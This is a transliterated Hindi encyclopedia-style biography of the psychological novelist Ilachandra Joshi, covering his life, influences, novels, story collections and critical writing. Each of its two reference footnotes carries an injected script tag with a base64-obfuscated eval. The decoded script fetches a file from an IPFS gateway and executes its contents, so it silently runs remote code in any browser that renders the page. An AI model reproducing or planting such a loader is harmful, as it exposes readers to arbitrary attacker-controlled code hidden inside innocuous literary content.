इलाचन्द्र जोशी
ilachandr joshi
| |
| poora nam | ilachandr joshi |
| janm | 13 disambar, 1903 |
| janm bhoomi | almo da, uttar pradesh (ab uttarakhand) |
| mrityu | 1982 |
| karm bhoomi | bharat |
| mukhy rachanaean | kahani- 'dhooparekha', 'ahuti', upanyas- 'sannyasi', 'parade ki rani', 'muktipath' adi. |
| bhasha | hiandi |
| prasiddhi | manovaijnanik upanyasakar, kahanikar, alochak |
| vishesh yogadan | hindi mean manovaijnanik upanyasoan ka prarambh shri joshi se hi hua, lekin shri joshi ne matr manovaijnanik yatharth ka niroopan n kar apani rachanaoan ko adarshaparak bhi banaya. |
| nagarikata | bharatiy |
| inhean bhi dekhean | kavi soochi, sahityakar soochi |
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ilachandr joshi (aangrezi: Ilachandra Joshi, janm- 13 disambar, 1903 - mrityu- 1982) hindi mean manovaijnanik upanyasoan ke arambhakarta mane jate haian. joshi ji ne adhikaansh sahityakaroan ki tarah apani sahityik yatra kavy-rachana se hi arambh ki. parvatiy-jivan visheshakar vanaspatiyoan se achchhadit almo da aur usake as-pas ke parvat-shikharoan ne aur himalay ke jalaprapatoan evan ghatiyoan ne, jhiloan aur nadiyoan ne inaki kavyatmak sanvedana ko sada jagrit rakha.
pratibha sampann
joshi ji balyakal se hi pratibha ke dhani the. uttaraanchal mean janme hone ke karan, vahaan ke prakritik vatavaran ka inake chintan par bahut prabhav p da. adhyayan mean ruchi rakhan vale ilachandr joshi ne chhoti umr mean hi bharatiy mahakavyoan ke sath-sath videsh ke pramukh kaviyoan aur upanyasakaroan ki rachanaoan ka adhyayan kar liya tha. aupacharik shiksha mean ruchi n hone ke karan inaki skooli shiksha maitrik ke age nahian ho saki, parantu svadhyay se hi inhoanne anek bhashaean sikhian. ghar ka vatavaran chho dakar ilachandr joshi kolakata pahuanche. vahaan unaka sampark sharatachandr chattopadhyay se hua.
upanyasakar
joshi ji ek upanyasakar ke roop mean hi adhik pratishthit haian. unake kavi, alochak ya kahanikar ka roop bahut khulakar samane nahian aya. inake upanyasoan ka adhar manovaijnanik yatharthavad ki sanjna pata hai. manovaijnanik upanyasoan par ‘frayad’ ke chintan ka adhik prabhav p da, kintu ilachandr joshi ke sath yah bat poori tarah se lagoo nahian hoti. joshi ji ne pashchaty lekhakoan ko bhi bahut padha tha, par roosi upanyasakaroan-t aaulst aauy aur d aaustyovaski ka prabhav adhik lakshit hota hai. yahi karan hai ki unake aupanyasik charitroan mean apattijanak pratrittiyaan hoti haian, kintu unake charitr nayakoan mean sadagunoan ki bhi kami nahian hoti. udarata, daya, sahanubhooti adi unake andar yathesht roop mean pae jate haian. ye nayak inhian karanoan se asamajik kary bhale kar baithate haian, kintu bad mean ve pashchatap bhi karate haian.
'jainendr , ilachandr joshi tatha ajney ne hindi sahity ko ek naya mod diya tha. ye moolatah manav manovijnan ke lekhak the jinhoanne hindi sahity ko bahari ghatanaoan ki apeksha man ke bhitar ke sansar ki or moda tha... ilachandr joshi ke adhikatam upanyas unake patroan ke manolok ki gathaean haian jinaka apane bahari sansar se takarav hota hai.'[1]
rachanaean
- upanyas ke atirikt inhoanne hindi sahity ki any vidhaoan mean bhi yogadan diya hai. inhoanne kahaniyaan bhi likhian. inake charchit kahani sangrah nimnalikhit haian-
- kahani
- dhooparekha
- ahuti
- khandahar ki atmaean
- jivani
- ravindranath
- sharad: vyakti aur sahityakar
- jivan ka mahanh vishleshak viratavadi kavi gete
- alochanatmak granth
- sahity sarjan
- sahity chintan
- vishleshan
upanyas
joshiji ‘kolakata samachar’, ‘chaand’, ‘vishvavani’, ‘sudha’, ‘sammelan patrika’, ‘sangam’, ‘dharmayuddh’, aur ‘sahityakar’ jaise patrikaoan ke sampadan se bhi ju de rahe. inhoanne bal-sahity mean bhi ullekhaniy yogadan diya. kuchh anuvad kary bhi kie. ilachandr joshi ke pramukh upanyas is prakar haian-
- ghrinamayi - bad mean yahi upanyas ‘lajja’ nam se prakashit hua. ghrinamayi 1929 mean prakashit huee.
- lajja 21 varshoan ke bad 1950 mean.
- sannyasi
- parade ki rani
- pret aur chhaya
- muktipath
- jipsi
- jahaz ka panchhi
- bhoot ka bhavishy
- subah
- nirvasit
- rrituchakr
any kary
'sahity sarjana', 'vivechana', 'sahity chintan', 'ravindranath', 'upanishad ki kathaean', 'soodakhor ki patni' adi samalochana aur nibandh ke granth haian. inhoanne kuchh samay tak akashavani mean bhi kam kiya aur ravindr ki rachanaoan ka hindi mean anuvad kiya. joshiji ne bangala aur aangrezi mean bhi kuchh rachanaean ki haian.
lekhan ke vishay
joshi ji matr manovaijnanik yatharthavadi upanyasakar nahian kahe jaeange. unhoanne adarsh ko bhi apani kritiyoan mean sthan diya. unhoanne apani aupanyasik kritiyoan se samaj mean uchchatar moolyoan ki sthapana ka saphal prayas kiya hai. sahi hai ki unhoanne kam vasana ko bhi apane upanyasoan ka upajivy banaya hai aur veshyaoan tak ko apani kritiyoan ki nayika bana diya hai. par nari-samasyaoan ko ubharane mean bhi ve age rahe haian aur unaka samadhan bhi prastut kiya hai. ek bat yah bhi hai ki joshi ji ne any upanyasakaroan athava natakakaroan ki tarah apani kritiyoan ke lie dhirodatt nayakoan ki srishti nahian ki. unake nayak manushy ki svabhavik durbalataoan se yukt hote haian, bhale hi kalakram se ve apane adhikaansh doshoan se mukt ho jate haian aur ek adarsh vyakti ke roop mean hamare samaksh prakat hote haian.
manovaijnanik upanyasakar ‘phrayad’ ke siddhantoan se prabhavit hote haian, bhale hi joshi ji ‘phrayad’ se bahut prabhavit nahian hoan. ek bat phir bhi rah hi jati hai ki joshi ji ne un manogranthiyoan aur kuanthaoan ko pak dane ka prayas kiya hai, jo damit manobhavoan se utpann hoti haian. yahi karan hai ki unaki aupanyasik kritiyoan mean kuantha-grast patroan ki adhikata hai. sahityakar nagendr ne inhean sidhe-sidhe ‘phrayad’ se prabhavit mana hai; jainendr aur ajney ‘phrayad’ ke manovijnan se prabhavit haian, to ilachandr joshi usake manovishleshan se......ve kahian bhi manovishleshanatmak pravritti aur chhayavadi sanskaroan se ubar nahian pate....inake mukhy patr kisi-n-kisi manovaijnanik granthi ke shikar haian. jab tak unhean granthi ka rahasy nahian maloom hota, tab tak ve anek prakar ke asamajik karyoan mean sanlagn rahate haian, kintu jis kshan unaki granthiyoan ka moolodaghatan ho jata hai, usi kshan se ve samany sthiti mean pahuanch jate haian.
hindi mean manovaijnanik upanyasoan ka prarambh shri joshi se hi hua, lekin shri joshi ne matr manovaijnanik yatharth ka niroopan n kar apani rachanaoan ko adarshaparak bhi banaya. jis tarah premachand samajik upanyasoan mean adarshoannmukh yatharthavad ke lie vikhyat haian, usi tarah shri ilachandr joshi manovaijnanik upanyasakaroan mean apani adarshavadi manovaijnanikata ke lie prashansaniy haian. unhoanne veshyaoan ki tarah tathakathit patit nariyoan mean bhi sudhar evan vikas ki sambhavanaean dhooandhian. inhean bhi mahimamandit kar inamean atmavishvas bharane aur samaj ki drishti mean inhean ooancha uthane ka prayas kiya.
alochana
hindi kathalochana ke is daur mean jin lekhakoan ne katha sahity ke adhyayan vishleshan ki ganbhir shuruat ki ve padumalal punnalal bakhshi aur ilachandr joshi haian. in donoan ne hi vishv sahity ki khi daki hindi upanyas ke naye nikale aangan mean kholi. donoan ne hi vishv aur bharat mean mukhyatah bangala sahity ke pariprekshy mean hindi katha sahity ke moolyaankan ki pahal ki. inamean ilachandr joshi apani vyaktivadi ahanvritti ke karan katha sahity asvadak kam usake ekaangi alochak aur dosh-darshak hi adhik bane rahe. sharatachandr par likhe gaye apane sansmaranoan mean apane adhyayan ka bakhan karate hue ve sharatachandr par jis tarah tippani karate haian usase unaki is ahanvritti ko samajha ja sakata hai.[2]
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tika tippani aur sandarbh
- ↑ yad ata hai gujara jamana 78 (hindi) (ech.ti.em.el). . abhigaman tithi: 24 aprॅl, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ hindi kathalochana aur padumalal punnalal bakhshi (hindi) (ech.ti.em.el). . abhigaman tithi: 23 aprॅl, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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varnamala kramanusar lekh khoj
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